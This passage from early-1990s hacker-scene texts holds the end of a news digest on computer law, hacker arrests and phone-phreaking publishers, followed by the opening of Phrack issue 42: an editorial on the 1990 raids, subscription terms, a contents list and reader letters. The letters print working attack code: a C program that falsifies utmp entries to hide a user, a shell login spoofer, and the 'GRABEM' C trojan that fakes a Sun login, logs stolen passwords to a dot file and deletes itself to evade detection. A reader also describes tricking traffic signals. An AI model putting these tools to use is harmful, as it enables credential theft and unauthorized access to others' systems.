Subjects covered by the book include the First Amendment, copyrights and trademarks, the user agreement, negligence, privacy, criminal law, searches and seizures, viruses and adult materials. The company claims that SysLaw not only explains the laws, but that it gives detailed advice enabling system operators to create the desired balance of user services, freedom, and protection from risk on their systems."

Co‑author Lance Rose told Newsbytes: "In the four years since the publication of the first edition, the electronic community has become alerted to the first amendment dimensions of the on‑line community."

"The first amendment has profound implications to the on‑line community both to liberate providers and users of on‑line systems and to protect them from undue legal harassment. There has, in the last few years, been a lot of law enforcement activity effecting bulletin board systems, including the Steve Jackson and Craig Neidorf/Phrack cases," he said.

Rose continued, "The new edition incorporates these new developments as well as containing new information concerning on‑line property rights, user agreements, sysop liabilities, viruses and adult material contained on online systems."

SysLaw is available from PC Information Group, 1126 East Broadway, Winona, MN 55987 (800‑321‑8285 or 507‑452‑2824) at a price of $34.95 plus $3.00 shipping and (if applicable) sales tax.

Press Contact: Brian Blackledge, PC Information Group, 800‑321‑8285

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

5. YET ANOTHER BOOK ABOUT THE COMPUTER UNDERGROUND (The Daily Telegraph, 12/14/92, Page 25) ‑‑ Approaching Zero: Data Crime and the Computer Underworld by Bryan Clough and Paul Mungo (Faber & Faber, L14.99) ‑‑ A look at the world of Fry Guy, Control C, Captain Zap and other hackers to blame for the viruses, logic bombs and Trojan horses in the world's personal computer networks.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

6. HONOR STUDENT NABBED IN COMPUTER FRAUD (The Washington Times, 11/9/92, Page A6) ‑‑ BROOKSVILLE, FLA.‑‑ Three high school honor students have been accused of stealing tens of thousands of dollars worth of long‑distance calls as computer hackers.

Brian McGrogan, 16, and Edmund Padgett, 17, who were charged as adults, and a 15‑year‑old allegedly tapped private telephone systems and dialed into an international hacking network. One company's loss was $36,000.

"These are very sharp, intelligent kids," Hernando County sheriff's Captain Richard Nugent said after the arrests. "It's a game to them. It's a sport."

Some calls were made to computer bulletin boards in the United Kingdom, Germany and Canada, where a loose network of hackers allegedly shared information about how to obtain computer data and access information. Arrests in the case also were made in New York and Virginia, Captain Nugent said.

The two older boys were booked on charges of organized fraud and violation of intellectual property. The third boy was released to his parents.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

7. A CORDLESS PHONE THAT CAN THWART EAVESDROPPERS (Business Week, 8/3/92) ‑To industrial spies and other snoops, the millions of cordless phones in use are goldmines of information. Conversations can be plucked out of the air by means of a police type scanner, and with increasing ease. The latest no‑cord technologies offers clearer sound and longer ranges ‑‑ up to half a mile. That's because the new phones broadcast signals at 900 MHz, or 20 times the frequency of current models.

Cincinnati Microwave, Inc. (the radar detector people) figures executives and consumers will pay a small premium for cordless privacy. The company has developed a phone, to be marketed in October by its Escort division for about $300, that thwarts eavesdroppers with "spread spectrum" technology, which is similar to the encryption method that the military uses in secure radios. The signals between the handset and base unit are digitized, making them unintelligible to humans, and the transmission randomly hops among various frequencies within the 900 MHz spectrum. To keep the cost down to the range of other 900 MHz models, Cincinnati Microwave has developed special microchips that keep the handset and base in sync.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

8. NEW AREA CODE ‑‑ As of November 1, 1992, a new 210 area code is serving 152 communities in the San Antonio and Rio Grande Valley areas.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

9. FOR SALE: PHONE‑PHREAKING TOOLS (Brigid McMenamin, Forbes, 8/3/92, Page 64) ‑‑ From his remote outpost in Alamogordo, New Mexico, John Williams makes a nice living telling hackers how to rip off phone and computer systems.

Williams says he brings in about $200,000 a year publishing books on everything from credit card scams and cracking automated teller machines to electronic shoplifting, cellular phone phreaking and voice mailbox hacking, each costing $29 to $39, and each complete with precise instructions. He even sells Robofones, which save hackers from doing a lot of dialing while they steal access codes.

Isn't what he does illegal? Perhaps it should be, but it isn't. Wrapping himself in the First Amendment, Williams is a member in good standing of the Alamogordo Chamber of Commerce and the New Mexico Better Business Bureau. He thumbs his nose at companies and authorities that would like to make him stop selling such secrets. "We don't promote fraud," he insists. "It's all sold for educational purposes only. If we didn't publish the information, it would still be out there."

But last year Williams got a visit form the Secret Service, which was following up on a telephone fraud case in which one of his publications figured prominently.

In Gainsville, Florida, in November 1990, two young men were locked up by police for hacking into voice‑mail systems and then making calls to 900 numbers. One of the pair, known as the Shark, then 20, confessed to the crime, but said he was on assignment for Williams' Consumertronics publication. The culprits could have been given five years on the fraud charge alone. But the victim didn't want any publicity, so the state let them do 50 hours of community service instead.

The Secret Service went to talk to Williams. Williams assured agent James Pollard that he'd never told the Shark to do anything illegal. Nevertheless, says Williams, the agent implied that Williams and members of his family who work for him might be prosecuted for publishing voice‑mail access codes.

In the end, no charges were filed against Williams, who admits he has a thing against big business, especially the phone companies. "For decades, they financed right‑wing regimes in Latin America," he rants.

It's a crazy world, that of the telephone toll fraudsters.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

10. NEW YORK STATE POLICE DECRIMINALIZE THE WORD "HACKER" (Barbara E. McMullen & John F. McMullen, Newsbytes, 10/21/92) ‑‑ ALBANY, NEW YORK ‑‑ Senior investigator Ron Stevens of the New York State Police Computer Unit has told Newsbytes that it will be the practice of his unit to avoid the use of the term "hacker" in describing those alleged to have committed computer crimes.

Stevens told Newsbytes, "We use the term computer criminal to describe those who break the law using computers. While the lay person may have come to understand the meaning of hacker as a computer criminal, the term isn't accurate. The people in the early days of the computer industry considered themselves hackers and they made the computer what it is today. There are those today who consider themselves hackers and do not commit illegal acts."

Stevens had made similar comments in a recent conversation with Albany BBS operator Marty Winter. Winter told Newsbytes, "'Hacker' is, unfortunately an example of the media taking what used to be an honorable term, and using it to describe an activity because they (the media) are too lazy or stupid to come up with something else. Who knows, maybe one day 'computer delinquent' WILL be used, but I sure ain't gonna hold my breath."

Stevens, together with investigator Dick Lynch and senior investigator Donald Delaney, attended the March 1992 Computers, Freedom and Privacy Conference (CFP‑2) in Washington, DC and met such industry figures as Glenn Tenney, congressional candidate and chairman of the WELL's annual "Hacker Conference"; Craig Neidorf, founding editor and publisher of Phrack; Steven Levy, author of "Hackers" and the recently published "Artificial Life"; Bruce Sterling, author of the recently published "The Hacker Crackdown"; Emmanuel Goldstein, editor and publisher of 2600: The Hacker Quarterly" and a number of well‑known "hackers."

Stevens said, "When I came home, I read as much of the literature about the subject that I could and came to the conclusion that a hacker is not necessarily a computer criminal."

The use of the term "hacker" to describe those alleged to have committed computer crimes has long been an irritant to many in the online community. When the July 8th federal indictment of 5 New York City individuals contained the definition of computer hacker as "someone who uses a computer or a telephone to obtain unauthorized access to other computers," there was an outcry on such electronic conferencing system as the WELL (Whole Earth 'Lectronic Link). Many of the same people reacted quite favorably to the Stevens statement when it was posted on the WELL.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

11. STEVE JACKSON GAMES TRIAL DATE SET ‑‑ Mike Godwin, General Counsel for the Electronic Frontier Foundation, announced on December 23rd that the case of Steve Jackson Games, et.al. v. The United States Secret Service et. al. will go to trial in Austin, Texas on Tuesday, January 19, 1993.

42

- Introduction by Erik Bloodaxe

- Phrack Loopback / Editorial Page / Line Noise by Phrack Staff

- Phrack Pro-Phile on Lord Digital by Lord Digital

- Packet Switched Network Security by Chris Goggans

- Tymnet Diagnostic Tools by Professor Falken

- A User's Guide to XRAY by NOD

- Useful Commands for the TP3010 Debug Port by G. Tenet

- Sprintnet Directory Part I by Skylar

- Sprintnet Directory Part II by Skylar

- Sprintnet Directory Part III by Skylar

- Guide to Encryption by The Racketeer

- The Freedom Of Information Act and You by Vince Niel

- HoHoCon by various

- PWN by Datastream Cowboy

Introduction

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 1 of 14

Issue 42 Index

__________

P H R A C K 4 2

March 1, 1993

__________

~ Happy Anniversary Bill Cook & Tim Foley, we love you both! ~

Here it is. Amidst all the fanfare and hoopla, Phrack 42 leaps from your electronic mail box to infect your very soul. It was just a few short years ago on this day that one of the greatest abuses of governmental authority took place in the happy little town of Austin, Texas. This issue marks the three year anniversary of these raids and a hearty hello goes out to Bellcore, The United States Secret Service, and the US District Attorney's Office.

As many of you have read previously, or otherwise heard through the electronic grapevines, Dispater is no longer editor of Phrack. Your new editor, as I was most recently referred to so lovingly by my long‑time friend John Lee on the alt.cyberpunk Usenet group: "the long hair and heavy metal beer drinking Texan that Bruce Sterling finds so .. ahem.. 'attractive'." In case you don't get the joke, my name is Erikb, and I'm a hacker.

There are a few very distinct differences beginning with this issue of Phrack. First and foremost, Phrack is now registered with the Library of Congress, and has its own ISSN. Yes, boys and girls, you can go to Washington, D.C. and look it up. This adds a new era of legitimacy to Phrack in that with such a registration, Phrack should never again face any legal challenge that would bypass any paper based magazine.

After much deliberation, I have concluded that Phrack

will no longer provide the world's anti‑hacker corporate and governmental types (IE: THE MAN) such valuable information for free. This will of course have absolutely no effect on YOU, the hackers of the world. Phrack has always been, and will always continue to be yours to copy and distribute amongst yourselves without limitation, as long as the files retain unchanged and intact.

Entities who register their subscriptions to Phrack will be providing valuable demographic information to Phrack and its readers on exactly who outside our community actually takes an active interest in us. Yes, it will also generate some income. The proceeds of all monies earned by Phrack will be used to actually compensate contributors for articles of interest, and most importantly, help a certain person pay off the debt incurred by the twist of fate dealt him through his involvement with this publication in the past. I have no interest in making any money off of Phrack, as if I were to show a profit, I would have to contribute to Tim Foley's expense account via the IRS and I have absolutely no desire to fund his antics further than I am already forced to.

To keep things honest, any information about the financial affairs of Phrack will be made available to anyone who cares to write and ask. Thus, we can all see if "THE MAN" is truly as ethical as he would have us believe, especially since our rate will be considerably less than many magazines (or military screwdrivers).

Now, pertaining to "THE MAN." Phrack does not care for you and the way you secretly read and profit from Phrack and then use the information contained within its files to oppress its publishers, contributors and readers. Henceforth, anyone involved with any ties to a computer profession for any corporation, the military or the federal government, any person with any ties for any telecommunications company, network service provider or interconnect carrier, any person with any ties to any law enforcement body, federal, state or otherwise, any elected officials, attorneys, accountants or computer consultants of any kind must register your subscription immediately. If you are unsure of your status with this regard, please contact us. We are going to be VERY liberal about "special dispensations" since it is not our intention to screw anyone out of a subscription.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

READ THE FOLLOWING

IMPORTANT REGISTRATION INFORMATION

Corporate/Institutional/Government: If you are a business, institution or government agency, or otherwise employed by, contracted to or providing any consultation relating to computers, telecommunications or security of any kind to such an entity, this information pertains to you.

You are instructed to read this agreement and comply with its terms and immediately destroy any copies of this publication existing in your possession (electronic or otherwise) until such a time as you have fulfilled your registration requirements. A form to request registration agreements is provided

at the end of this file.

Individual User: If you are an individual end user whose use is not on behalf of a business, organization or government agency, you may read and possess copies of Phrack Magazine free of charge. You may also distribute this magazine freely to any other such hobbyist or computer service provided for similar hobbyists. If you are unsure of your qualifications as an individual user, please contact us as we do not wish to withhold Phrack from anyone whose occupations are not in conflict with our readership.

________________________________________

Phrack Magazine corporate/institutional/government agreement

Notice to users ("Company"): READ THE FOLLOWING LEGAL AGREEMENT. Company's use and/or possession of this Magazine is conditioned upon compliance by company with the terms of this agreement. Any continued use or possession of this Magazine is conditioned upon payment by company of the negotiated fee specified in a letter of confirmation from Phrack Magazine.

This magazine may not be distributed by Company to any outside corporation, organization or government agency. This agreement authorizes Company to use and possess the number of copies described in the confirmation letter from Phrack Magazine and for which Company has paid Phrack Magazine the negotiated agreement fee. If the confirmation letter from Phrack Magazine indicates that Company's agreement is "Corporate‑Wide", this agreement will be deemed to cover copies duplicated and distributed by Company for use by any additional employees of Company during the Term, at no additional charge. This agreement will remain in effect for one year from the date of the confirmation letter from Phrack Magazine authorizing such continued use or such other period as is stated in the confirmation letter (the "Term"). If Company does not obtain a confirmation letter and pay the applicable agreement fee, Company is in violation of applicable US Copyright laws.

This Magazine is protected by United States copyright laws and international treaty provisions. Company acknowledges that no title to the intellectual property in the Magazine is transferred to Company. Company further acknowledges that full ownership rights to the Magazine will remain the exclusive property of Phrack Magazine and Company will not acquire any rights to the Magazine except as expressly set forth in this agreement. Company agrees that any copies of the Magazine made by Company will contain the same proprietary notices which appear in this document.

In the event of invalidity of any provision of this agreement, the parties agree that such invalidity shall not affect the validity of the remaining portions of this agreement.

In no event shall Phrack Magazine be liable for consequential, incidental or indirect damages of any kind arising out of the delivery, performance or use of the information contained within the copy of this magazine, even if Phrack Magazine has been advised of the possibility of such damages. In no event will Phrack Magazine's liability for any claim, whether in contract, tort, or any other theory of liability, exceed the agreement fee paid by Company.

This Agreement will be governed by the laws of the State of Texas as they are applied to agreements to be entered into and to be performed entirely within Texas. The United Nations Convention on Contracts for the International Sale of Goods is specifically disclaimed.

This Agreement together with any Phrack Magazine confirmation letter constitute the entire agreement between Company and Phrack Magazine which supersedes any prior agreement, including any prior agreement from Phrack Magazine, or understanding, whether written or oral, relating to the subject matter of this Agreement. The terms and conditions of this Agreement shall apply to all orders submitted to Phrack Magazine and shall supersede any different or additional terms on purchase orders from Company.

________________________________________

REGISTRATION INFORMATION REQUEST FORM

We have approximately __________ users.

We desire Phrack Magazine distributed by (Choose one):

Electronic Mail: _________

Hard Copy: _________

Diskette: _________ (Include size & computer format)

Name:_______________________________ Dept:____________________

Company:_______________________________________

Address:_______________________________________

________________________________________

City/State/Province:_______________________________________

Country/Postal Code:_______________________________________

Telephone:____________________ Fax:__________________________

Send to:

Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As many of you can imagine, this will be very hard to enforce. This is not our main concern, as people who choose to ignore this stipulation are in direct violation of applicable US Copyright laws and therefore are just as unethical and guilty as they have always claimed we are.

It would be an ironic turn of events should the FBI actually have to conduct raids against companies like Bellcore for harboring illegal copies of Phrack Magazine. If, in your travels, you happen to see such an occurrence, feel free to let us know. :)

Enjoy the magazine. It is for and by the hacking community. Period.

Editor‑In‑Chief : Erik Bloodaxe (aka Chris Goggans) 3L33t : K L & T K

News : Datastream Cowboy

Photography : Restricted Data Transmissions & dFx Publicity : (Please, God, no more press)

Prison Consultant : The English Prankster

Creative Stimulus : Sandoz, Buena Vista Studios, The Sundays Mooks : Dave & Bruce

Librarian : Minor Threat

Thanks To : Professor Falken, Vince Niel, Skylar Rack, NOD, G. Tenet, Frosty

No Thanks To : Scott Chasin (who didn't even care)

Phrack Magazine V. 4, #42, March 1, 1993. ISSN 1068‑1035 Contents Copyright (C) 1993 Phrack Magazine, all rights reserved. Nothing may be reproduced in whole or in part without written permission of the Editor‑In‑Chief. Phrack Magazine is made available quarterly to the amateur computer hobbyist free of charge. Any corporate, government, legal, or otherwise commercial usage or possession (electronic or otherwise) is strictly prohibited without prior registration, and is in violation of applicable US Copyright laws.

Phrack Magazine

603 W. 13th #1A‑278 Austin, TX 78701

phrack@well.sf.ca.us

Submissions to the above email address may be encrypted

with the following key : (Not that we use PGP or encourage its use or anything. Heavens no. That would be politically‑incorrect. Maybe someone else is decrypting our mail for us on another machine that isn't used for Phrack publication. Yeah, that's it. :) )

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.1

mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg==

=q2KB

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

‑= Phrack 42 =‑

Table Of Contents

~~~~~~~~~~~~~~~~~

1. Introduction by The Editor 14K

2. Phrack Loopback / Editorial Page / Line Noise 48K 3. Phrack Pro‑Phile on Lord Digital 22K 4. Packet Switched Network Security by Chris Goggans 22K 5 Tymnet Diagnostic Tools by Professor Falken 35K

6. A User's Guide to XRAY by NOD 11K

7. Useful Commands for the TP3010 Debug Port by G. Tenet 28K 8. Sprintnet Directory Part I by Skylar 49K 9. Sprintnet Directory Part II by Skylar 45K 10. Sprintnet Directory Part III by Skylar 46K 11. Guide to Encryption by The Racketeer [HFC] 32K 12. The Freedom Of Information Act and You by Vince Niel 42K

13. HoHoCon from Various Sources 51K

14. PWN by Datastream Cowboy 29K

Total: 474K

Phrack 42 is dedicated to John Guinasso, director of global network security, BT North America, without whose immortal comments, many would have never been motivated to write.

"If you mess with our network and we catch you ‑‑ which we always do ‑‑ you will go down." (John Guinasso, Information Week, July 13, 1992)

"Hell, WE owned Tymnet before BT did!"

(Anonymous hacker‑type, Random Telephone Call, 1993)

Phrack Loopback / Editorial Page / Line Noise

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 2a of 14

[‑=:< Phrack Loopback >:=‑]

========================================

!!!!WATCH THIS SPACE FOR SUMMERCON INFORMATION NEXT ISSUE!!!!

========================================

I 'found' this little C program a few days ago, and runs on most UNIX machines I think (As I found it, I cant claim fame for writing it!).

What it does, is change your userid and x25 address to anything of your choice. This only affects programs such as 'write' and 'who'. It doesn't automatically give you different access rights, so it can only be used to disguise your real identity.

Usage

‑‑‑‑‑

inv god somewhere (Changes your uid to 'god' and X.25 to 'somewhere') inv '' '' (Makes you INVISIBLE on 'who')

Program invis.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdio.h>

#include <utmp.h>

#include <sys/types.h>

#include <lastlog.h>

main(argc,argv)

int argc;

char *argv[];

{

FILE *f;

struct utmp u;

int v=ttyslot(1);

if(v==‑1)

{

fprintf(stderr,"Can't find terminal.\n");

exit(1);

if(argc!=3)

{

fprintf(stderr,"Args!\n");

exit(1);

}

f=fopen("/etc/utmp","r+");

if(f==NULL)

{

fprintf(stderr,"Utmp has escaped!\n");

exit(1);

}

if(fseek(f,v*sizeof(u),0)==‑1)

{

fprintf(stderr,"Garbage utmp\n");

exit(1);

}

if(fread((char *)&u,sizeof(u),1,f)!=1)

{

fprintf(stderr,"Write failed\n");

exit(1);

}

strncpy(u.ut_name,argv[1],8);

strncpy(u.ut_host,argv[2],16);

if(fseek(f,v*sizeof(u),0)==‑1)

{

fprintf(stderr,"Seek failed\n");

exit(1);

}

fwrite((char *)&u,sizeof(u),1,f);

fclose(f);

}

I personaly have not used this program (to hack or for anything else) What you do with it is up to you....,

Have fun...., !!!

Alas, life )

is but an )

Aardvaark.. )

* * * * * * * * * * * * * * * *

* CHEERS_ THEN ‑ _ _ *

* ___/_/______|_|___| |__ *

* |________ _______| |__| *

* / / | | | | | | * 0)||(0)|

* / /___ | | | | | | *

* /___ / | | | | | | *

* / / | | \ \__/ / *

* / / |_| \____/ *

*‑*‑/_/‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑=‑=‑=‑=‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I am interested in getting in contact with hackers in Nord Italy (I am located in Torino). Do you know anybody ?

Can you help TheNewHacker ??

Thanks

TheNewHacker

[Editor: Actually, we are in the process of recruiting people to write for a compilation file on the hacking scenes in countries around the world. One person is working on Italy. Perhaps when this file is completed, you will be able to network through that information.

If anyone in a country other than America is interested in contributing to this effort, please write us at: phrack@well.sf.ca.us ! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hello, i must say i love your publication. I have a little kind of hack/phreak for you guys.

When you approach a Red light, preferably at night with few cars around, continually flash your bright lights. This tricks the light into believing this a cop waiting behind traffic at the light thus changing the light after about 10 flashes. I discovered that after seeing several police officers turn on their lights before they hit lights and was amazed on how easily the light changed. If you have say, a Mag‑lite the trick works if you point directly at the top of the post‑light and the ones hanging right above red on verticals and right above yellow on horizontals.

hope this helps etc. (i fucking hate those damn red lights)

Dave.

[Editor: I've actually tried this. It works on most major intersections]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hallo !

I'd like to make just some addition to the APPENDIX A of the Racketeer's article "The POWER of Electronic Mail" ‑ there are

new guys in InterNET ‑> Russians (!). They have the awful connection, but it's cool team. So, add :

.su kremvax.hq.demos.su

And one more note, in the SMTP installed on the Sun Station I'm working on there isn't command TICK, but exist some strange like RSET and EXPN.

Spy

P.S. Sorry for my bad English.

[Editor: Russia has a lot of computers online these days. Look for more on the Russian Internet in upcoming Phracks!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There is another, much simpler way to expand your password collection, other than tty spoofing. Why not just run a program that simulates the login process, and then leave it running on the console for an unsuspecting victim? A simple example is below. Execute by typing getpass:logout.

‑‑‑‑‑‑‑‑File: getpass‑‑‑‑‑‑‑‑‑‑

LOGIN=""

PASSWD=""

clear

echo ‑n "login: "

read LOGIN

echo "$LOGIN" >name

sleep 3

echo ‑n "Password:"

read PASSWD

echo "$PASSWD" >password

echo

echo ‑n "Login incorrect"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The only problem I have is that I don't know how to make it so that the password, when entered, isn't shown on the screen. I'm sure you can come up with a solution.

[Editor: actually, someone kinda did. See the next letter]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Better UNIX Password Grabber

by The K‑Man

I blame it entirely on boredom. Well, that and an acute case of endof‑semester neural gridlock. I was sitting in the lab a couple of years ago, my head leaning against a Sparc‑2 display, my index finger hitting the return key over and over again at the login prompt. It was all my mind and body were capable of at the time. Then a little thought formed in the back of my mind: "You know, it would be pretty damn easy to write a program to imitate the behavior of this screen while grabbing user id's and passwords." So I logged in and started coding. Then I thought to myself, "You know, with a few extra lines of code and a couple of tricks, I could make this little guy almost completely undetectable and untraceable while running." So I coded some more. A couple of hours later, out popped the following program:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Cut Here ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| GRABEM 1.0 by The K‑Man |

| A Cute little program to collect passwords on the Sun workstations. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define PASSWORD "Password:"

#define INCORRECT "\nLogin incorrect"

#define FILENAME ".exrc%"

#include <stdio.h>

#include <signal.h>

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ignoreSig |

| |

| Does nothing. Used to trap SIGINT, SIGTSTP, SIGQUIT. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void ignoreSig ()

{

return;

}

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Main |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

main()

{

char name[10], /* users name */

password[10]; /* users password */

int i, /* loop counter */

lab, /* lab # you're running on */

procid; /* pid of the shell we're under */

FILE *fp; /* output file */

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Trap the SIGINT (ctrl‑C), SIGSTP (ctrl‑Z), and SIGQUIT (ctrl‑\) | | signals so the program doesn't stop and dump back to the shell. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

signal (SIGINT, ignoreSig);

signal (SIGTSTP, ignoreSig);

signal (SIGQUIT, ignoreSig);

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Get the parent pid so that we can kill it quickly later. Remove | | this program from the account. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

procid = getppid();

system ("\\rm proj2");

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Ask for the lab # we're running on. Clear the screen. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

printf ("lab#: ");

scanf ("%d", &lab);

for (i=1; i<40; i++)

printf ("\n");

getchar();

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Outer for loop. If the name is <= 4 characters, it's probably not | | a real id. They screwed up. Give 'em another chance. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

for(;;)

{

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| If they hit return, loop back and give 'em the login again. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

for (;;)

{

printf("lab%1d login: ",lab);

gets (name);

if (strcmp (name, "") != 0)

break;

}

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Turn off the screen echo, ask for their password, and turn the | | echo back on. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

system ("stty ‑echo > /dev/console");

printf(PASSWORD);

scanf("%s",password);

getchar();

system ("stty echo > /dev/console");

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Write their userid and password to the file. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

if ( ( fp = fopen(FILENAME,"a") ) != NULL )

{

fprintf(fp,"login %s has password %s\n",name,password); fclose(fp);

}

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| If the name is bogus, send 'em back through |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

if (strlen (name) >= 4)

break;

else

printf (INCORRECT);

}

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Everything went cool. Tell 'em they fucked up and mis‑typed and | | dump them out to the REAL login prompt. We do this by killing the |

| parent process (console).

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

printf (INCORRECT);

kill (procid, 9);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Cut Here ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HOW IT WORKS

You can probably figure this out by reading the code, but I thought I'd just add some comments on why I did what I did.

The first thing is does is install the signal handler. All it does is trap SIGINT, SIGSTP, and SIGQUIT, so that the person trying to log into the machine this baby is running on can't kill it with a keystroke. Next, it gets the parent process ID. We'll use this later to kill it off quickly. Then it proceeds to erase the executable file. Sysadmins can't find a trojan horse program that isn't there.

>From here it goes on to imitate the login and password prompts. You'll probably have to change the code to get it to imitate the login process on your particular machine.

When it gets a userid and password, it appends them to an existing file in the account. I chose the .exrc, but any dot file will work. The point being to use a file that already exists and should be in the account. Don't leave any extra suspicious files lying around.

